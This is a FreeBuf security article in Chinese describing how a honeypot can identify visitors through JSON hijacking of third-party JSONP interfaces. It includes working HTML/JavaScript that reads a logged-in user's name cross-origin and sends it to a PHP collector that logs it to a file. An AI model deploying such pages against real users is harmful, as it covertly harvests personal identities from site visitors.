freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

蜜罐通过获取第三方信息溯源
2020-10-13 16:09:04

蜜罐介绍

蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。

那么如何通过第三方接口获取信息,实现跨域资源

接口要求

1、登录过第三方网站,且未退出登录。

2、第三方网站接口能获取敏感信息(账号、ip、邮箱等),且允许跨域资源共享。

大部分使用jsonp接口,这种接口允许允许跨域资源共享。效果相对较好。因此这种攻击又叫JSON Hijacking。

流程实现图

通过访问站点A获取站点B的网站信息。

过程:访问A网站,获取登录过的B网站信息,再提交到A网站。

本地环境实践

本地搭建测试B站接口,当登录过这个站点显示登录名、没有登录过显示未登录。

登录过B站接口信息:

没有登录过B站接口信息:

返回的数据是一个jsonp的格式。

搭建蜜罐页面A站代码:

<html>
<head>
<script>
function test(a){
alert(a.name);
}
</script>
<script src='http://login.cn/login/api.php'></script>
</body>
</html>

当登陆B站后访问A站页面:

未登录B站访问A站页面:

可以看到通过A站跨域访问到B站资源。

简单构造接收页面data.php代码:

<?php 
$name=$_GET['name']; 
$fp = fopen('data.txt','a'); 
$flag = fwrite($fp, "用户名:  ".$name."\r\n"); 
?>

再重新修改一下A站页面代码:

<html>
<head>
<script>
function test(a){
    xmlhttp=new XMLHttpRequest()
    var x="./data.php?name="+a.name;
    xmlhttp.open("GET", x, true);
    xmlhttp.send();
}
</script>
<script src='http://login.cn/login/api.php'></script>
</body>
</html>

两次测试,分别登录与没有登录的情况下,记录的数据:

真实蜜罐获取情况:

总结:

蜜罐里面集成大量第三方接口,如社交、购物、娱乐等平台接口,一旦触发,将会大量信息被截取。慎重!慎重!

# 蜜罐 # 溯源
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录